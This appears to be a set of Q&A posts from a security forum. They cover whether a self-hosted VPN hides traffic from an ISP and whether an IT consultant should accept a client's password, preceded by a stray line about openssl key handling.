I can't find any way to pass the symmetric key directly to openssl from a file, unfortunately. OpenSSL is a cryptographic library, more than a command-line tool; its command-line utilities are often convenient, but it's mostly used for its API.


Is there any way to set up home-made VPN with encryption so ISP cannot see data? More specifically, I would like to host VPN server on my own hardware, without relying on third party providers.
There are plenty of guides how to realize it on internet, but they all assume that this solution focus on security, not anonymity, because at the end of the day all traffic goes unencrypted to ISP, which makes whole idea pointless for my needs (security without privacy sounds pretty dumb, doesn't it?)

Is there any possibility to encrypt own server it so ISP would only see IP and metadata related with?

Please correct me if I am wrong.

TL;DR: The answer to your question is no, but you're asking the wrong question.

I think you might be a little confused about how Internet servers (including VPN servers) operate. Your ISP can read any traffic leaving your local network, and it can understand that traffic if the traffic is not encrypted. Whether the traffic is encrypted primarily depends on who you're communicating with. If you're communicating with a TLS server (such as an HTTPS web site), it's encrypted. If you're communicating with an SSH server, it's encrypted. If you're communicating with a VPN server, it's encrypted.

However, if the server then makes a further request (i.e. now acts as a client, or proxy) out to the Internet (for example, a VPN server going to fetch a page that you requested via the VPN connection), that server's ISP will see the connection (and be able to understand it, if it isn't encrypted). If your VPN server's ISP and your ISP are the same thing, then that doesn't achieve much. If they're on the same local network (i.e. they access that same ISP through the same connection) then it doesn't achieve anything at all!

If you want your communications to be private, you need to only communicate with third-parties (usually servers, since you're usually acting as a client and initiating the requests) that support encryption. You can also use end-to-end encryption between two clients (for example, secure messaging apps like Signal or email encrypted with PGP or S/MIME). If you want to communicate with a third party that doesn't support encryption, then your communication will need to be un-encrypted at least part of the way!

Now, if you're only concerned about your ISP, and not about anything else, then you only need the connection to be encrypted between your local network (realistically, it'll start at your PC) and some other computer. This is where @Dodekeract's suggestion to use a third-party VPN provider, or to use TOR, comes in. With a VPN provider, your communications between your PC and the VPN provider are encrypted - your ISP can't read them, even to know where the traffic is supposed to eventually end up - though the communications between the VPN provider and the end target may still not be encrypted (depends whether the end target supports encryption). With TOR, your communications basically get bounced around a lot, all encrypted, so your ISP not only can't tell what you're saying, they can't even tell where the message will be routed from after it leaves the encrypted channel.

Hope that clears things up.


I'm an IT consultant. Should I discourage a client from telling me his password? I'm an IT consultant. One client has known me for a few years. He wants me to do some work on his kids' laptop again. I'll need to log into his kids' Windows user account. (I'm guessing that multiple kids share one account.)

This time, he wants to drop the machine off with me. He'll want to tell me the kids' password ("plan A"): he trusts me. But I don't want him to get in the habit of insecure practices like sharing passwords with IT consultants.

I could propose and push a "plan B":

He changes the kids' password to a new, temporary password.
I log in, do the work, then force a password change at next logon.

Or I could push him to make me an account so that I can follow a "plan C":

I reset the kids' password.
I log in, do the work, then force a password change at next logon.

Still, I want to keep him happy, and I don't want him to waste time or money. I don't want to push him towards plan B or plan C unless absolutely necessary. I wonder:

Is it really so bad for him to just tell me the kids' password? If it's bad, please explain why, and please cite a source if you can.
(Optional:) I always tell customers a per-hour rate. But lately, I've been billing by the minute. If we choose plan C, is it ethical for me to bill him for the extra minutes it will take me?

The problem isn't with this situation in particular. Let's assess the situation here:

You're a trustworthy person to them
The password is very likely securing trivial data

Giving you the password isn't that big of a deal in this case. The problem (like you stated in your question) is that getting him in the habit of giving out passwords.

I'd definitely go with plan B. Why?

It's the best compromise between security and convenience in this case.
It'll teach him about not sharing password, especially if the lesson is coming from a trustworthy person to him.
It'll make you look even more professional and shows your interest in your client's security.
You don't know, he might spread the word about this situation and in a way you'd be contributing to a better understanding of security (in this kind of situations) in his circle of friends/family.

As for your second question, I don't think I'm the best person to answer this, but I'd say no. If something takes you 2-3 minutes and it's obviously trivial compared to another task (fixing whatever is wrong with the computer) don't actually bill the client for the extra 3 minutes of work. It makes nobody look good.